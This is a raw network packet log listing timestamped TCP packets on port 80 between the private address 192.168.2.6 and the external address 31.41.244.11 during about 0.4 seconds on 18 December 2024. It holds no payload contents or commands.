Dec 18, 2024 11:47:17.518590927 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.518610001 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.519567013 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.519609928 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.519745111 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.519777060 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.520771980 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.520826101 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.520946980 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.521061897 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.521974087 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.521987915 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.522030115 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.523085117 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.523128033 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.523293972 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.523334026 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.524338961 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.524374962 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.524418116 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.525051117 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.525077105 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.525088072 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.525113106 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.526236057 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.526283026 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.526351929 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.526400089 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.527415991 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.527455091 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.527528048 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.528002977 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.528615952 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.528657913 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.528703928 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.529047966 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.529820919 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.529897928 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.529920101 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.529951096 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.531029940 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.531073093 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.531114101 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.531157970 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.532181025 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.532228947 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.532300949 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.532337904 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.533231974 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.533371925 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.533396006 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.533411980 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.534455061 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.534502029 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.534559011 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.534606934 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.535587072 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.535643101 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.535657883 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.535721064 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.536917925 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.536966085 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.536993027 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.537028074 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.537961960 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.538008928 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.538029909 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.538074970 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.539104939 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.539166927 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.539169073 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.539343119 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.540317059 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.540368080 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.540394068 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.541217089 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.541362047 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.541490078 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.541524887 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.542537928 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.542671919 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.542716026 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.543710947 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.543817997 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.543860912 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.544898987 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.544955969 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.544982910 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.545018911 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.546125889 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.546220064 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.546262980 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.547386885 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.547535896 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.547578096 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.549081087 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.549220085 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.549266100 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.550470114 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.550827026 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.550909042 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.552007914 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.552086115 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.552130938 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.552856922 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.552931070 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.552978992 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.553883076 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.554020882 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.554023027 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.554066896 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.554858923 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.554920912 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.554944992 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.555824995 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.555891037 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.685230017 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.685339928 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.685396910 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.685729980 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.685810089 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.685847044 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.686880112 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.686999083 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.687038898 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.688093901 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.688271999 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.688313007 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.689323902 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.689362049 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.689409018 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.690196991 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.690463066 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.690478086 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.690510988 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.691576958 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.691679001 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.691716909 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.692749977 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.692866087 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.692908049 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.693896055 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.693979979 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.694020033 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.695059061 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.695173979 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.695214033 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.696302891 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.696402073 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.696445942 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.697393894 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.697432995 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.697468996 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.698193073 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.698647022 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.698703051 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.698745012 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.699795008 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.699888945 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.699927092 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.700964928 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.701073885 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.701114893 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.702100039 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.702214003 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.702229023 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.703249931 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.703288078 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.703355074 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.704473019 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.704510927 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.704583883 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.704652071 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.705590963 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.705626965 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.705740929 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.706203938 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.706804037 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.706988096 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.707037926 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.707976103 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.708112001 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.708148956 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.709201097 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.709213972 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.709243059 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.709273100 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.710295916 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.710387945 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.710458040 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.711499929 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.711605072 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.711643934 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.712692022 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.712757111 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.712790966 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.713835955 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.713933945 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.713973045 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.714976072 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.715080023 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.715117931 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.716155052 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.716259956 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.716295004 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.717292070 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.717329979 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.717437029 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.717540026 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.718594074 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.718615055 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.718653917 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.719710112 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.719815016 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.719870090 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.720798969 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.720884085 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.720918894 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.722023964 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.722103119 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.722145081 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.723171949 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.723262072 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.723303080 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.724308014 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.724447966 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.724484921 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.725534916 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.725761890 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.725800037 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.726733923 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.726785898 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.726846933 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.727822065 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.727859974 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.727936029 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.729006052 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.729042053 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.729094982 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.730150938 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.730191946 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.730287075 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.730320930 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.731409073 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.731421947 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.731461048 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.731487989 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.732501984 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.732646942 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.732681036 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.733737946 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.733786106 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.733814001 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.734213114 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.735008955 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.735084057 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.735124111 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.736109018 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.736433029 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.736457109 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.736468077 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.737185001 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.737297058 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.737333059 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.738337040 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.738449097 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.738485098 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.739506006 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.739610910 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.739653111 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.740690947 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.740745068 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.740777969 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.741862059 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.741983891 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.742019892 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.743030071 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.743078947 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.743206978 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.744225025 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.744283915 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.744292021 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.744376898 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.745400906 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.745445013 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.745449066 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.746196032 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.746496916 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.747054100 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.876024008 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.876065969 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.876152039 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.876538038 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.876827002 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.876871109 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.876894951 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.878020048 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.878032923 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.878060102 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.878077030 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.879198074 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.879435062 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.879961967 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.879996061 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.880486012 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.880500078 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.880520105 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.880533934 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.881910086 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.881922960 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.881961107 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.882828951 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.882925987 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.882968903 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.883898973 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.883912086 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.883965015 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.885052919 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.885066032 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.885108948 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.886214972 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.886226892 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.886272907 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.887463093 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.887762070 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.887804031 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.888529062 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.888541937 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.888577938 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.889745951 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.889921904 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.889966965 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.890872002 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.890912056 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.891159058 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.891191006 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.892040014 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.892262936 CET	49806	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:17.892416954 CET	80	49806	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:17.892458916 CET	49806	80	192.168.2.6	31.41.244.11
